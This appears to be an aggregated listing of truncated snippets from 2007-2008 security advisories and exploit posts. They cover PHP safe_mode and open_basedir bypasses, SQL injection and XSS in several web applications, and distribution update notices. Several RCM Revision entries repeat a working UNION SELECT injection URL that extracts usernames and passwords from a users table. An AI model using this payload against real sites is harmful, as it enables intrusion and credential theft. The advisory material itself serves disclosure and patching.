Visuplay CMS SQL Injection

http://www.visuplay.com Visuplay is a web dev company that offers a CMS that goes with its websites that helps it be managed after all, that Is what a cms does right? Anywho, you can add your own sql code to various query areas through out the CMS like newsarticle.php and contentpage.php. Here's ...

JVN#50327700 PHP vulnerable to cross-site scripting

PHP is an open source scripting language that is especially suited for Web development. PHP contains a cross-site scripting vulnerability as it does not properly handle errors. Impact An arbitrary script may be executed on the user's web browser. Solution Update the Software Apply the latest upda...

PHP 5.2.6 - error_log Safe_mode Bypass

PHP 5.2.6 - errorlog Safemode Bypass SecurityReason.com PHP 5.2.6 errorlog safemode bypass Author: Maksymilian Arciemowicz cXIb8O3 securityreason.com Date: - - Written: 10.11.2008 - - Public: 20.11.2008 SecurityReason Research SecurityAlert Id: 57 CWE: CWE-264 SecurityRisk: Medium Affected...

FreeBSD Ports: py23-django, py24-django, py25-django

The remote host is missing an update to the system as announced in the referenced advisory. VID f49ba347-2190-11dd-907c-001c2514716c OpenVAS Vulnerability Test $ Description: Auto generated from vuxml or freebsd advisories Authors: Thomas Reinke Copyright: Copyright c 2008 E-Soft Inc...

[SECURITY] Fedora 9 Update: php-5.2.6-2.fc9

PHP is an HTML-embedded scripting language. PHP attempts to make it easy for developers to write dynamically generated webpages. PHP also offers built-in database integration for several commercial and non-commercial database management systems, so writing a database-enabled webpage with PHP is...

rcm-sql.txt

RCM Revision Web Development products.php SQL Injection Vulnerability by D3m0n a.k.a Niiub Home: www.bl4ck-b0x.info niiubatbl4ck-b0x.info Exploit: products.php?cat=-1%20union%20select%201,2,3,4,concatws0x3a,username, userpassword,6%20from%20users/ OR...

RCM Revision Web Development (products.php) SQL Injection Vulnerability

No description provided by source. RCM Revision Web Development products.php SQL Injection Vulnerability by D3m0n a.k.a Niiub Home: www.bl4ck-b0x.info niiubatbl4ck-b0x.info Exploit: products.php?cat=-1%20union%20select%201,2,3,4,concatws0x3a,username, userpassword,6%20from%20users/ OR...

RCM Revision Web Development (products.php) SQL Inject Vulnerability

Exploit for unknown platform in category web applications ======================================================================= RCM Revision Web Development products.php SQL Injection Vulnerability ======================================================================= RCM Revision Web...

RCM Revision Web Development - 'products.php' SQL Injection

RCM Revision Web Development products.php SQL Injection Vulnerability by D3m0n a.k.a Niiub Home: www.bl4ck-b0x.info niiubatbl4ck-b0x.info Exploit: products.php?cat=-1%20union%20select%201,2,3,4,concatws0x3a,username, userpassword,6%20from%20users/ OR...

RCM Revision Web Development - products.php SQL Injection

RCM Revision Web Development - products.php SQL Injection RCM Revision Web Development products.php SQL Injection Vulnerability by D3m0n a.k.a Niiub Home: www.bl4ck-b0x.info niiubatbl4ck-b0x.info Exploit: products.php?cat=-1%20union%20select%201,2,3,4,concatws0x3a,username,...

PHP chdir()和ftok()函数绕过safe_mode限制漏洞

BUGTRAQ ID: 29796 CVECAN ID: CVE-2008-2666 PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。 PHP的chdir和ftok函数中存在多个绕过safemode限制漏洞。 在chdir函数中： - --- PHPFUNCTIONchdir char str; int ret, strlen; if zendparseparametersZENDNUMARGS TSRMLSCC, "s", &str, &strlen == FAILURE RETURNFALSE; if PGsafemode &&...

PHP 5 posix_access()函数绕过safe_mode限制漏洞

BUGTRAQ ID: 29797 CVECAN ID: CVE-2008-2665 PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。 PHP 5的posixaccess函数在处理用户数据时存在漏洞，远程攻击者可能利用此漏洞绕过检查过滤。 在PHP的posixaccess函数中： - --- PHPFUNCTIONposixaccess long mode = 0; int filenamelen, ret; char filename, path; if zendparseparametersZENDNUMARGS TSRMLSCC, "s|l",...

PHP 5 php_sprintf_appendstring()函数整数溢出漏洞

BUGTRAQ ID: 28392 CVECAN ID: CVE-2008-1384 PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。 PHP formattedprint.c文件的printf函数存在整数溢出漏洞，能够执行PHP脚本的攻击者可能利用此漏洞提升权限。 在formattedprint.c文件的phpsprintfappendstring函数中： - ---formattedprint.c-start--- inline static void phpsprintfappendstringchar buffer, int pos, int siz...

PHP <= 5.2.5 stream_wrapper_register() denial of service

Application: PHP = 5.2.5 Web Site: http://php.net Platform: unix Bug: Denial of service fonction: streamwrapperregister special condition: default php-memory-limit ------------------------------------------------------- 1 Introduction 2 Bug 3 Proof of concept 4 Greets 5 Credits =========== 1...

[SECURITY] Fedora 7 Update: kdewebdev-3.5.8-3.fc7

Web development applications, including: kfilereplace: batch search and replace tool kimagemapeditor: HTML image map editor klinkstatus: link checker kommander: visual dialog building tool kxsldbg: xslt Debugger quanta+: web development...

helios-xss.txt

Hi PacketStormSecurity.org; I'm reporting a vulnerability of type XSS in Helios Calendar, thank you for all. +==============================================================================+ + Helios Calendar =1.2.1 Beta XSS Multiple Remote Vulnerabilities +...

Unfixed XSS vulnerability at www.classicwebdevelopment.com

Security researcher OMEHA, has submitted on 10/05/2007 a cross-site-scripting XSS vulnerability affecting www.classicwebdevelopment.com, which at the time of submission ranked 4190254 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 10/05/2007. ...

PHP <=5.2.4 open_basedir bypass & code exec & denial of service

Application: PHP =5.2.4 Web Site: http://php.net Platform: unix Bug: openbasedir bypass & code exec & denial of service/some people call this as a buffer overflow , but it's a denial of service./ special condition: default php-memory-limit ------------------------------------------------------- 1...

PHP 5.2.4 <= various mysql functions safemode & open_basedir bypass

Application: PHP =5.2.4 Web Site: http://php.net Platform: unix Bug: safemode & openbasedir bypass ------------------------------------------------------- 1 Introduction 2 Bug 3 Proof of concept 4 Credits =========== 1 Introduction =========== "PHP is a widely-used general-purpose scripting...

php524-basedir.txt

Application: PHP dll . / Bug: openbasedir bypass & code exec & denial of service/some people call this as a buffer overflow , but it's a denial of service./ special condition: default php-memory-limit ------------------------------------------------------- 1 Introduction 2 Bug 3 Proof of concept ...